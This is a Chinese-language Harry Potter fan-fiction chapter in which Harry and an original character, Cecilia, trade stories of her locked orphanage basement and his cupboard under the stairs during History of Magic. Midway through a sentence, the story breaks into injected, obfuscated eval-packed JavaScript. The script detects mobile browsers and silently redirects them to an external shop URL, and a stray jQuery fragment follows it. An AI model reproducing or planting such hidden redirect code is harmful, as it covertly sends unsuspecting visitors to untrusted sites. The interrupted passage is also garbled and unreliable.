参加魔药研究学会以后，西西莉亚的生活并没有立刻显得更加忙碌。星期六下午原本也是一段空着的时间，她只是将它从公共休息室和图书馆之间挪到了地下三层。课程仍然按照原来的顺序进行，早餐时的蜂蜜罐也总放在相同的位置；潘西每逢星期四便带着琴盒离开，扎比尼依旧在周末将巫师棋的碎片装进口袋，等负责修复棋子的人发现少了一枚骑士以后，再若无其事地将它放回棋盘。
真正发生改变的，是一些很难写进课程表的小事。
西西莉亚开始在星期六午餐前检查自己的头发是否已经束好，会在旧魔药教室里替自己留下足够的羊皮纸，也知道哪一只公共墨水瓶的瓶口已经开裂，使用时应当垫一块旧布。潘西不再需要在每次活动开始前询问她是否记得时间；德拉科也渐渐习惯在一点四十五分经过公共休息室时，看见她已经将书包放在椅边。两个人通常不会约定同行，却总在相近的时间离开。有时德拉科先走，在走廊转角放慢脚步；有时西西莉亚已经出了石门，他便在后面不远处跟上。他们都没有指出这种规律，仿佛从斯莱特林公共休息室前往地下三层原本就只有这一种走法。
十月最后一个完整的星期过去以后，霍格沃茨开始为万圣节作准备。厨房送来的南瓜堆在门厅角落，最大的几个几乎有一年级学生那么高，家养小精灵已经在表面雕出了窗户、蝙蝠和歪斜的笑脸。皮皮鬼趁人不注意，给其中一只南瓜装上了会咬人的牙齿，费尔奇花了整个上午追着它穿过大厅，最后那只南瓜滚进楼梯下面，再也不肯出来。城堡里逐渐出现烘烤南瓜和木柴燃烧的气味，走廊上方也悬起许多尚未点亮的蜡烛。它们白天只是安静地浮在那里，偶尔因为门窗吹进来的风相互碰撞，发出轻而空洞的声音。
星期二早晨，礼堂外面下着细雨。雨水落在高窗上，使天色比平时更暗，四张长桌上方点着成排的蜡烛。早餐结束以后，学生们没有像往常那样迅速离开，许多人站在门厅里查看南瓜的变化，也有人试图将那只藏在楼梯下的南瓜引出来。它已经咬坏了费尔奇的一截拖把，正躲在阴影里咀嚼木屑，每当有学生靠近，便露出一排被雕刻得过分整齐的牙齿。
西西莉亚经过时，南瓜也朝她张开了嘴。她在距离它几步远的地方停下，看了一会儿，随后从书包里取出一小块早餐剩下的面包，放在地上。南瓜立即滚过来，将面包吞了下去，却发现那东西远不如拖把耐嚼，于是停在她脚边，显得有些失望。
“它不是真的饿。”潘西说，“只是喜欢咬东西。”
西西莉亚低头看着南瓜。“喜欢和需要不一样。”
“显然。”
“但都可以使它咬人。”
“所以你最好不要再喂它。”
西西莉亚接受了这项建议。她向前走去，那只南瓜却在后面跟了两步，直到潘西用鞋尖将它推回楼梯下方。德拉科认为给一只会攻击人的南瓜喂早餐没有任何必要，扎比尼则说，那块面包至少替费尔奇保住了剩下的拖把。四个人沿着主楼梯向上，经过二楼时才与前往同一间教室的格兰芬多学生汇合。
魔法史教室位于一条很少照到阳光的回廊尽头。门上镶着一块已经发黑的铜牌，字迹因年代久远变得模糊，只有在靠近时才能辨认出“宾斯教授”的姓氏。教室里的桌椅也像从很久以前便没有更换过，木头表面留着许多学生刻下的名字、年份和毫无意义的图案。有人曾经试图在后排桌面雕出一条龙，却只完成了半只翅膀，大概便因为被教授发现或者提前毕业而永远停在那里。
宾斯教授的课总在一种几乎没有变化的声音里开始。他不需要打开门，而是从黑板旁边的墙里缓慢飘出来，将一叠无法真正翻动的讲义放在讲桌上，随后用同样平直的语气继续上节课没有讲完的内容。今天的主题是十四世纪巨人与巫师之间几次没有产生实际结果的谈判。宾斯教授先后念出七名巨人首领的名字，其中三个名字听起来十分相似，另外两个则因为发音过长，使坐在前排的赫敏不得不在羊皮纸边缘另外画线，才能完整记录下来。
学生们依照学院陆续落座。赫敏仍然选择靠近讲台的位置，罗恩跟在她后面，脸上的神情已经说明他宁愿坐得远一些。纳威抱着课本坐到他们旁边，哈利却没有立即跟上。他在门口停了一下，目光越过几排座位，看见西西莉亚坐在教室右侧靠后的位置。
她身旁的座位空着。
潘西与米里森坐在前一排，正在低声确认午后的变形术作业；扎比尼选择了靠窗的位置，与西奥多·诺特共用一张桌子；德拉科本来站在西西莉亚身边，却被另一名斯莱特林学生叫去看一本据说记录了古代决斗规则的旧书。西西莉亚已经摊开羊皮纸，羽毛笔放在右侧，桌角留着足够容纳另一本课本的位置。她似乎并不在意那个位置最后由谁坐下。
哈利只犹豫了一会儿，便从格兰芬多学生聚集的那一侧走了过去。
罗恩在后面叫了他一声。哈利回头说这里还有空位，语气听起来像是临时作出的决定。事实上，教室后面并不只剩这一个座位，甚至有一整张空桌靠在墙边。他没有解释，罗恩也来不及继续问，因为宾斯教授已经从黑板中间飘了出来。赫敏立即翻开课本，罗恩只能在她身旁坐下，隔着过道向哈利投来一个混杂着不解与询问的眼神。
哈利将书包放到地面，在西西莉亚身边坐下。
“这里有人吗？”他压低声音问。
“现在有了。”西西莉亚说。
哈利愣了一下，随后才明白她说的是他。他拉开课本，努力使椅子不要在地面发出太大的声音。两个人已经在魔药课上共同使用过一只坩埚，也在走廊里遇见过几次，却从未像这样主动坐在一起。上一次是因为他迟到以后没有其他位置，至少他可以把那件事解释成课堂安排；这一次，他却无法告诉自己是被迫坐在这里。
宾斯教授开始讲述一名巨人代表如何因为巫师会议提供的椅子不够牢固而拒绝继续谈判。他念了整整一页会议记录，声音既没有因为椅子倒塌而出现波动，也没有在三名巫师被压伤时表现出任何遗憾。教室里的羽毛笔最初还能保持整齐的沙沙声，十分钟以后便逐渐稀疏。有人将脑袋支在手上，有人在课本下面传递纸条，罗恩低头写了几行笔记，很快便在“巨人代表拒绝”后面画出一串越来越小的墨点。
哈利也试着记录了一会儿。他写下两个巨人的名字，却不能确定第二个名字中间究竟有几个辅音。他抬头看向黑板，发现上面什么也没有。宾斯教授从不认为学生需要看见那些名字，只要听见一次便应当记住。
西西莉亚的羊皮纸上已经写了半页。她并没有试图记录每一句话，只将谈判的时间、参与者和最终结果依次排列。她的字迹很整齐，行与行之间留着相同的距离，似乎宾斯教授那种没有停顿的声音并不会使她困倦。
“你听得懂他说的那些名字吗？”哈利轻声问。
“听得懂一部分。”
“第二个巨人叫什么？”
西西莉亚将自己的羊皮纸向他推近一点。哈利低头看见那串名字，发现中间有四个连续的辅音，立刻失去了抄写的愿望。
“我觉得他不会考这个。”他说。
“赫敏记下来了。”
哈利越过她看向前排。赫敏果然仍在飞快书写，羽毛笔几乎没有离开过纸面。
“赫敏什么都会记。”
“为什么？”
“她觉得考试可能会考。”
“如果不会呢？”
“她大概也会觉得知道这些比较好。”
西西莉亚想了想，认为这个解释可以成立。她将羊皮纸收回去，继续写下宾斯教授刚刚提到的第三次谈判日期。哈利却没有重新拿起羽毛笔。他原本只是想问名字，不知为什么，坐到这里以后，忽然又想起了许多别的问题。他在礼堂里听说西西莉亚加入了魔药研究学会，也听罗恩提过魁地奇球场上的争执。格兰芬多的高年级学生并不愿意详细谈论那次道歉，只说斯莱特林后来没有继续占用场地，而德拉科从那天以后似乎更加习惯让西西莉亚坐在他们中间。
哈利看了一眼过道。罗恩已经趴低了一些，赫敏则完全沉浸在笔记里。更远处，德拉科正与旁边的人传看那本古代决斗规则，偶尔抬头确认宾斯教授讲到了哪里。
“我想问你一件事。”哈利说。
西西莉亚转头看他。
“但我不想让他们听见。”他又补充了一句，视线短暂地朝罗恩和赫敏的方向移动，随后又看了一眼前面的斯莱特林学生，“不是因为不能说。我只是不想他们一直回头。”
他说这句话时并没有想到愿望。那只是一种很普通的不便：罗恩会好奇，赫敏可能要求他先听课，德拉科则很可能因为他与一名斯莱特林学生交谈而故意插进来。哈利只希望能够在宾斯教授单调的声音下面，与西西莉亚说几句话，而不必向整间教室解释原因。
西西莉亚看着他。
她没有感到强烈的魔法，也没有听见类似咒语的声音。那句话进入她耳中时，与潘西说不希望琴弦再次磨破手指，或者扎比尼希望自己的骑士不要总从口袋里逃走似乎没有多少区别。它轻得几乎不能被称为请求，却带着一个十分清楚的方向。
不想让别人听见。
西西莉亚没有询问代价，也没有考虑这是否属于需要被拒绝的事情。她只是默认了它可以发生，像默认面包应当放在盘子里，星期六下午应当前往地下三层，也像她在很久以前听见邓布利多说“祝你好梦”时，没有认为梦需要得到允许。
“好。”她说。
教室里没有出现任何变化。
窗外的雨仍然落在玻璃上，宾斯教授仍以同样的语调讲述巨人代表如何在第四次会议中要求更换谈判地点。羽毛笔划过羊皮纸，罗恩换了一只手支撑脑袋，德拉科也恰好在这时将那本旧书推回同伴面前。没有光线闪动，没有声音消失，甚至没有人突然转开视线。
哈利因此只以为西西莉亚答应降低声音。
“你为什么比我们晚分院？”他问，“你以前在别的学校吗？”
“没有。”
“可是你知道很多魔法。”
“我在图书馆看过书。”
“你来霍格沃茨以前呢？”
“没有看过。”
哈利等了一会儿，以为她还会继续。西西莉亚却已经回答完了。她转回去，在羊皮纸上记下第四次谈判仍然没有产生协议，随后才发现哈利仍在看她。
“那你以前在哪里？”他问。
“孤儿院。”
哈利的表情出现了一点变化。这并不完全是惊讶。他自己从未见过父母，也曾经在很长时间里认为，没有父母的孩子都与自己相似，只是被某个亲戚收养，在一间不属于自己的房子里长大。孤儿院这个词使他想起书中那些排列整齐的铁床、统一分发的衣服和没有人真正等待谁回去的房间。
“你一直住在那里？”
“十一年。”
“从你出生开始？”
“他们说是。”
“你不记得自己的父母吗？”
“不记得。”
哈利低头看了一眼她的手。西西莉亚握羽毛笔的姿势很稳，袖口下露出的手腕细而苍白。她说起孤儿院时没有压低更多声音，也没有表现出不愿意提及，仿佛那只是一个能够回答“以前在哪里”的地点。
“那里对你好吗？”他问。
西西莉亚没有立即回答。好与不好并不是孤儿院用来衡量生活的方式。院长给她食物，使她没有饿死；冬天很冷的时候，地下室里偶尔会增加一条旧毯子。可门总是从外面锁住，窗户太高，阳光只能在一年中特定的下午落到地面。她不知道这些事实合在一起时，应当怎样回答“好不好”。
“我住在地下室。”她最后说。
哈利原本搭在课本边缘的手指停住了。
“地下室？”
“嗯。”
“孤儿院把你一个人关在那里？”
“那里有一张床、一张桌子，还有一个很小的窗户。”西西莉亚说，“门在外面上锁。吃的东西会从门下面送进来。”
宾斯教授恰好讲到巨人代表因为没有得到足够的食物，再次中止谈判。教室里有人发出压抑的笑声，大概是因为那名巨人吃掉了负责记录会议的书记官带来的墨水瓶。哈利却没有听清后面的内容。
他看着西西莉亚，翠绿色眼睛里的困倦已经完全消失。
“那不是孤儿院。”他说，“那是把你关起来。”
“地下室属于孤儿院。”
“我不是说房间属于哪里。”
哈利说得稍微快了一些。他自己也无法准确解释其中的区别，只知道一个孩子不应该被独自锁在地下室，不应该从门缝下面得到食物，更不应该在说起这些事情时，仍然认为那只是一种普通的居住方式。他想起海格第一次闯进海边小屋的夜晚，想起那扇被撞倒的门，以及海格知道他睡在碗柜里时难以置信的愤怒。直到那以前，也从来没有人告诉哈利，德思礼一家对他的安排并不正常。
“对不起。”他说。
西西莉亚看着他。“为什么？”
“因为你在那里住了十一年。”
“不是你让我住的。”
“我知道。可是——”哈利停顿片刻，“我只是觉得很遗憾。”
西西莉亚没有在他脸上找到怜悯通常带有的优越，也没有看见教授们听说地下室时那种被压抑的愤怒。哈利只是单纯地为一件已经发生在她身上的事情感到难过，仿佛即使它与他没有任何关系，那份难过仍然可以属于他。
她暂时放下了羽毛笔。
“遗憾不能改变已经发生的事情。”她说。
“我知道。”
“那为什么还要遗憾？”
哈利张了张嘴，却没有立刻找到答案。前排的赫敏翻过一页羊皮纸，罗恩的手肘从桌边滑下去，惊醒以后茫然地抬头看了一圈。没有人朝他们这里望来。
哈利仍然看着西西莉亚。他第一次发现，有些最自然不过的感情，一旦需要说明理由，反而比四个辅音连在一起的巨人名字更加难以解释。
哈利想了很久。
宾斯教授已经从第四次谈判讲到了第五次。巫师代表团终于接受教训，为巨人准备了一张由整块花岗岩雕成的长椅，却没有提前确认会议地点的地面能否承受那份重量。长椅连同两名巨人一起陷进泥里，谈判因此推迟了六个星期。前排有人笑了一声，宾斯教授没有理会，仍旧用那种足以使任何灾难失去戏剧性的语气念出维修场地所花费的加隆数目。
“遗憾大概不是为了改变已经发生的事情。”哈利终于说，“只是你知道以后，会觉得它本来不应该那样。”
“为什么你会知道它应该怎样？”
“我不知道。”
“那你为什么认为地下室不应该？”
“因为没有人应该把一个孩子锁起来。”
他说得很快，像是在回答一件根本不需要思考的问题。西西莉亚看着他。哈利的头发仍然像刚从风里走过，额前几缕黑发遮住那道淡色伤疤。他没有因为自己的答案缺少完整的理由而改变它，也没有像教授们那样试图找到更加准确的词语。对他而言，孩子不应当被锁在地下室，与雨水向下落、火焰会使坩埚变热一样，似乎属于不必证明的事情。
“孤儿院的人不这样认为。”西西莉亚说。
“那是他们错了。”
“他们认为我会伤害别人。”
“你伤害过吗？”
“他们说发生过一些不能解释的事。锁坏了，灯自己熄灭，还有人听见地下室里有声音。”
“那可能是魔法。”
“邓布利多教授也是这样说。”
“所以他们因为你会魔法，把你关起来。”
“他们不知道那是魔法。”
“那也不该把你关起来。”
哈利的语气里出现了一点固执。这种固执与德拉科在早餐时坚持某一种礼仪才正确并不相同，也不像赫敏因为课本上写着一项规定便要求所有人遵守。哈利没有能够引用的规则，甚至无法告诉她，一个从未见过的孤儿院究竟违反了什么；他只是站在那件事的另一边，拒绝承认它可以因为任何解释而变得合理。
西西莉亚试着理解。“如果他们害怕我呢？”
“可以找人帮忙。”
“找谁？”
“教授，或者魔法部。”
“他们不知道教授，也不知道魔法部。”
“那就找警察。”
“院长认识警察。警察会相信院长。”
哈利停住了。
他很熟悉这种事情。成年人更愿意相信佩妮姨妈，也愿意相信弗农姨父。当他们告诉老师哈利弄坏了什么东西、在学校惹了麻烦，或者无缘无故欺负达力时，没有人询问事情是否真的如此。邻居们知道德思礼一家有一个不懂感恩、行为古怪的外甥，却不知道那个外甥睡在楼梯下面。即使哈利说出来，大概也只会有人认为他在编造故事。佩妮姨妈总能露出一种疲惫而隐忍的表情，仿佛允许哈利住在家里已经消耗了她全部的善意。
“有时候，大人很容易相信另一个大人。”他说。
“嗯。”
“尤其是那个大人有房子，还穿得很整齐。”
西西莉亚想起孤儿院院长总在访客到来以前换上深色衣服，将钥匙收进口袋，并且要求所有孩子提前洗净脸和双手。她认为哈利的说法有一定根据，于是在自己的判断里加上了这一条。
“但他们还是错了。”哈利说。
西西莉亚没有继续反驳。哈利显然并不需要她证明自己是否无害，才愿意认为孤儿院的做法有错。他的遗憾也不是因为他能够改变过去，只是因为他在知道以后，无法像宾斯教授讲述那些被巨人压伤的书记官一样，将它当作一句已经结束的话。
“你会为所有不认识的人遗憾吗？”她问。
“不会吧。”
“为什么会为我？”
哈利再次被问住。他低头看了看自己的羊皮纸。上面只写着两个巨人的名字，第二个还少了一个辅音，后面大片空白与赫敏已经翻到第三页的笔记形成了明显对比。他不能说因为他们在魔药课上共同使用过一只坩埚，也不能说因为她在魁地奇球场上站在斯莱特林前面。那些事情似乎都不足以解释为什么听见地下室时，他会感到胸口微微收紧。
“因为我认识你。”他说。
“我们只说过几次话。”
“那也是认识。”
“你不认识孤儿院里的其他人。”
“所以我不知道他们发生过什么。”
西西莉亚理解了其中一部分。遗憾似乎需要知道一件事，而知道一件事有时来自交谈。假如哈利今天没有坐到这里，他便不会知道地下室；假如潘西没有带她去管弦乐团，她也不会知道潘西的手指会被琴弦磨破。人们的感情可能并不只由他们经历过的事情产生，也会因为知道别人经历过什么而出现。
这个结论没有完全进入她已经理解的情感分类，却使她重新拿起羽毛笔以前，又看了哈利一会儿。
“那么我现在认识你吗？”她问。
“应该算吧。”
“我不知道你以前住在哪里。”
哈利本想说女贞路四号，随后意识到一个地址并不能真正回答她。他看了一眼前排。罗恩已经完全放弃记录，正在课本边缘画一个被长椅压进泥里的巨人；赫敏仍旧没有回头。宾斯教授的声音铺满教室，所有人都坐在距离他们并不遥远的地方，可是这场交谈像落进了一处没有回音的空隙，始终没有引起任何人的注意。
“我住在姨妈和姨父家。”哈利说，“我妈妈是我姨妈的姐姐。他们去世以后，邓布利多教授把我送到了那里。”
“他们为什么不喜欢你？”
“你怎么知道他们不喜欢我？”
“你说住在那里，不是回家。”
哈利愣了一下。他并不记得自己使用过“回家”或者“不回家”这样的词，至少今天没有。也许是他说起那些相信佩妮姨妈的邻居时，语气已经说明了答案。西西莉亚似乎总能将别人没有明确说出的部分也一并听进去，这使他产生了一种短暂的不自在，却没有想要停止。
“他们不喜欢魔法。”他说，“我姨妈知道我妈妈是女巫，但她一直假装那不存在。他们告诉我，我父母死于车祸，也从不提起他们。”
“你相信了吗？”
“那时候我不知道还能相信什么。”
“后来呢？”
“海格来找我。他告诉我父母真正是怎么死的，也告诉我我是巫师。”
西西莉亚知道哈利父母的名字。城堡里的学生谈论过他们，书中也记录着伏地魔在戈德里克山谷失去力量的那一夜。可是那些内容总把哈利放在故事的最后：一个活下来的婴儿，一道无法解释的伤疤，一个使战争结束的名字。没有一本书写过那个婴儿后来被送进什么样的房子，也没有人提到，他在十一岁以前甚至不知道父母如何死去。
“你在他们家住什么房间？”她问。
哈利的手指无意识地摸了一下课本边缘。“一开始是楼梯下面的碗柜。”
西西莉亚停下笔。
“碗柜？”
“本来应该用来放吸尘器和旧鞋。他们在那里放了一张小床。”
“门会锁吗？”
“有时会。门上有通风口，所以没有你说的地下室那么糟。”
“有窗户吗？”
“没有。”
“桌子呢？”
“也没有。”
西西莉亚认真比较了一会儿。“那比地下室小。”
“是小一点。”
“你在那里住了多久？”
“直到霍格沃茨的信寄来。”哈利说，“第一封信写着，楼梯下碗柜里的哈利·波特先生。姨父看见地址以后，才把我搬到楼上的卧室。”
“因为他知道寄信的人知道碗柜。”
“对。他们以为换一个房间，信就找不到我了。”
“信知道你在哪里。”
“那些猫头鹰也知道。后来整栋房子到处都是信，壁炉里、门缝里，连鸡蛋下面都有。姨父差点疯了。”
西西莉亚想象着成百上千封信从烟囱里落下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923619|213502||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来，堆满一间没有魔法的房子。她收到的那封信被孤儿院藏了起来，最后也是它带着邓布利多找到地下室。霍格沃茨似乎并不认为一扇上锁的门、一个错误的地址或者一名拒绝收信的监护人可以成为足够的阻碍。
“我的信也找到我了。”她说。
“所以我们都是被信救出来的。”
西西莉亚考虑了一下。“邓布利多教授打开了门。”
“那我的门是海格撞开的。”
“他没有使用钥匙吗？”
“门本来被姨父钉死了。”哈利回忆起那扇倒在地上的木门，嘴角露出一点笑意，“海格觉得敲门已经足够礼貌。”
西西莉亚看着他。“门坏了吗？”
“彻底坏了。”
“后来是谁修的？”
哈利没有想过这个问题。海格闯进小屋以后，所有人的注意都在信、蛋糕和达力突然长出的猪尾巴上，没有人关心那扇门是否还能继续使用。暴风雨整夜吹进屋里，弗农姨父大概也没有机会修理。
“可能没人修。”他说，“我们第二天就离开了。”
“那间小屋后来会进水。”
“它本来就在海上，也许已经习惯了。”
西西莉亚觉得房屋不会因为长期漏水便产生习惯，却听出了哈利并不是在认真讨论小屋。她没有纠正。哈利脸上的笑意因此保留得更久一些，直到宾斯教授忽然念出一个与海格相似的巨人名字，他才重新想起他们仍在上课。
“其实我住的地方可能和孤儿院没有太大区别。”哈利低声说，“至少你那里还有其他孩子。”
“他们不能和我说话。”
“达力能和我说话，但他说的大部分内容是要把我塞进垃圾桶，或者告诉我他打算什么时候揍我。”
“达力是谁？”
“我表哥。”
“他为什么要把你塞进垃圾桶？”
“他觉得好玩。”
西西莉亚想起那只会咬人的南瓜。“和皮皮鬼一样吗？”
哈利忍不住笑了一下。这声音比他们之前的交谈略高，坐在前面不远处的潘西却没有回头，宾斯教授也没有停顿。甚至连原本对任何课堂动静都十分敏感的赫敏都仍在写字。
“有一点。”哈利说，“不过皮皮鬼比他聪明。”
“达力也会飞吗？”
“不会。他以前很胖，跑起来已经很困难。”
“那你可以逃走。”
“有时候可以。后来他和朋友们骑自行车追我。”
“你有自行车吗？”
“没有。”
“这不公平。”
西西莉亚说得十分平静，哈利却又笑了一下。他很少听见有人用这样冷静的语气评价自己与达力之间的事情。海格会愤怒，罗恩会骂达力是个混蛋，赫敏则可能开始分析麻瓜监护制度；西西莉亚只是逐项比较，最后得出他没有自行车，因此那场追逐并不公平。
“是啊。”哈利说，“一直都不太公平。”
他们沉默了一会儿。
这不是因为没有话可说。宾斯教授的课仍在继续，雨水仍在窗外留下倾斜的水痕。哈利开始补写几行已经错过的笔记，西西莉亚则将自己的记录再次向他推近，让他能够看清第五次谈判的时间。两支羽毛笔偶尔在桌面上相碰，发出很轻的声响。
哈利抄完日期，目光落在她羊皮纸上方写着的名字。
“格林德沃是你的父亲吗？”他问。
西西莉亚没有因为这个问题停顿太久。“他创造了我。”
哈利以为自己听错了。“创造？”
“邓布利多教授是这样说的。”
“像制造一个东西？”
“我不知道。”西西莉亚说，“格林德沃没有告诉我过程。”
“你见过他吗？”
“没有。他在纽蒙迦德。”
哈利知道纽蒙迦德这个名字，也知道格林德沃是谁。邓布利多的巧克力蛙画片上写着，他最著名的成就是在一九四五年击败黑巫师格林德沃。赫敏后来还在一本现代魔法史中找到过相同的记录。哈利曾经把那个名字当作邓布利多漫长履历中的一行字，从未想过那个人可能有一个与自己同龄的女儿，坐在霍格沃茨的魔法史教室里，用平静的语气说他创造了她。
“那他是你的父亲吗？”哈利又问。
“现在不是。”
“父亲还能有‘现在不是’吗？”
“邓布利多教授说，创造一个人和成为她的父亲不是同一件事。”
哈利想起詹姆·波特，又想起弗农·德思礼。他从未认识自己的父亲，却知道詹姆为了保护他而死；弗农姨父与他共同生活了十年，却从未成为任何接近父亲的人。血缘、共同居住和真正的亲近显然并不是同一件事。
“他说得对。”哈利说。
“你也这样认为？”
“嗯。至少我不觉得把一个孩子送到某个地方，然后不再见她，就能自动成为父亲。”
西西莉亚看着他。哈利并不知道盖勒特是否主动将她送到孤儿院，也不知道圣杯、愿望和那间位于纽蒙迦德高塔中的牢房。他只依据自己知道的部分作出判断，却意外接近了她曾经得到的答案。
“那你认为邓布利多教授是父亲吗？”她问。
哈利被这个问题吓了一跳。“我的？”
“我的。”
“哦。”他稍微放松下来，又觉得这个问题仍然很难回答，“他是吗？”
“他说他可以学习。”
哈利想象邓布利多坐在校长室里，认真学习如何成为一个人的父亲。那幅画面有些奇怪，却又不像完全不可能。邓布利多似乎知道许多事情，但他并不总像一个什么都已经做得很好的人。哈利第一次在厄里斯魔镜前见到他时，对方穿着拖到地面的长袍，在深夜空荡的教室里独自出现，也承认自己会看见一双厚羊毛袜。哈利至今仍不确定那是否是真话。
“那他学得怎么样？”他问。
“有时候会忘记。”
“忘记什么？”
“忘记学习。”
“听起来很像他。”
“你也认识他吗？”
“没有很熟。”哈利说，“但他看起来像会因为想别的事情，忘记自己原来在做什么。”
“他会忘记吃糖。”
哈利觉得这比忘记学习更令人意外。“邓布利多会忘记吃糖？”
“有一次会。”
“那一定是很重要的事情。”
西西莉亚没有说那一次与盖勒特的来信有关，只点了点头。他们重新安静下来，彼此之间却不再像刚坐下时那样存在一块需要谨慎避开的空白。哈利知道了地下室、格林德沃和邓布利多正在学习的事情；西西莉亚则知道了碗柜、达力与那座没有被修好的海上小屋。那些内容并没有使他们变得相同，却像在两段原本毫不相干的生活之间放下了几块能够踩过去的石头。
“那么，我们以前有一点相似。”西西莉亚说。
哈利转头看她。
她说这句话时仍然没有笑，也没有因为找到相似之处而显得高兴。那只是她根据两人的叙述作出的判断。可是哈利听见以后，心里那种因为地下室而产生的沉重稍微减轻了一点。
“只是你的门是邓布利多打开的，我的是海格撞开的。”他说。
“结果一样。”
“对。结果一样。”
就在这时，下课铃响了。
铃声穿过教室，惊醒了几个已经趴在桌上的学生。宾斯教授没有因为铃声立即停止，而是用最后两分钟念完第五次谈判的结果，宣布下一节课将继续讲述第六次谈判，然后抱起那叠无法真正翻动的讲义，缓慢穿过黑板消失。
椅子拖动的声音迅速填满房间。赫敏将三页笔记按顺序整理好，罗恩伸了一个很长的懒腰，抱怨自己连一个巨人的名字都没有记住。潘西和米里森已经开始收拾书包，德拉科也将那本古代决斗规则还给原来的主人。
哈利低头看见自己的羊皮纸。
除了最开始的两个名字和后来从西西莉亚那里抄来的几个日期，上面几乎什么也没有。他这才意识到，自己和西西莉亚说了整整一节课。虽然他们一直压低声音，却绝没有小到坐在前排的人完全无法察觉的程度。赫敏就在几步之外。如果她知道哈利整节课没有听讲，一定会至少回头一次。罗恩也不会允许他与一个斯莱特林女生谈论碗柜和达力，却不试图听清他们在说什么。
更奇怪的是德拉科。他坐在斜前方不远的位置，只要转一下头便能看见他们。可他整节课都没有投来一眼。
罗恩走到桌边，敲了敲哈利几乎空白的羊皮纸。“你睡了一整节课吗？”
“我没睡。”
“那你在做什么？”
哈利看向他。“你没听见？”
“听见什么？”
赫敏也走了过来。她看见哈利的笔记，眉头立即皱起。“宾斯教授今天讲了五次谈判，其中第三次和第五次很可能会考。你至少应该把时间记下来。”
“你一次都没有回头？”
“我为什么要回头？”
哈利没有回答。
西西莉亚已经把羽毛笔收进书包。她的动作没有比平时更快，也没有表现出刚刚完成过任何魔法。魔杖始终放在校袍内侧的口袋里，桌面上没有出现咒语留下的痕迹。
“刚才为什么没有人听见？”哈利问。
西西莉亚抬头看他，似乎不明白他为什么直到现在才问。
“因为你不想让他们听见。”
“你做了什么？”
“我让他们听不见。”
她说得像是在解释一件十分简单的事情。随后潘西在门口叫了她的名字，提醒下一节变形术在城堡另一侧。西西莉亚背起书包，向哈利点了一下头，便走出座位，跟随其他斯莱特林学生离开教室。
黑色校袍从一排排旧桌椅之间经过。她今天仍将头发编成适合进入魔药教室的长辫，发尾系着潘西给她的黑色缎带。德拉科在门外等了一会儿，等她走近以后才与她一起转向楼梯。扎比尼落在后面，手里转着一枚不知道什么时候又被他带出来的黑色骑士。
哈利没有立即跟上罗恩和赫敏。
他站在原处，看着西西莉亚的背影消失在走廊转角。刚才那一整节课里，她没有挥动魔杖，没有念诵咒语，甚至没有刻意观察周围的人。她只是听见他说不想让别人听到，随后让这件事成为了事实。
哈利不知道那是什么魔法。
他也没有想到愿望、圣杯或者任何足以解释西西莉亚来历的东西。他只是忽然明白，魔药课上安静地切着材料、会认真询问一只南瓜为什么咬人的西西莉亚，拥有一种远远超过他所能理解的力量。那力量没有声音，也没有光，更不需要在所有人面前证明自己存在。
罗恩在走廊里再次叫他。哈利终于收回视线，拿起那张几乎空白的羊皮纸，跟了上去。
可在之后很长一段时间里，他仍然记得她离开教室时的背影。不是因为害怕，也不是因为怀疑。
只是因为他第一次真正看见了她。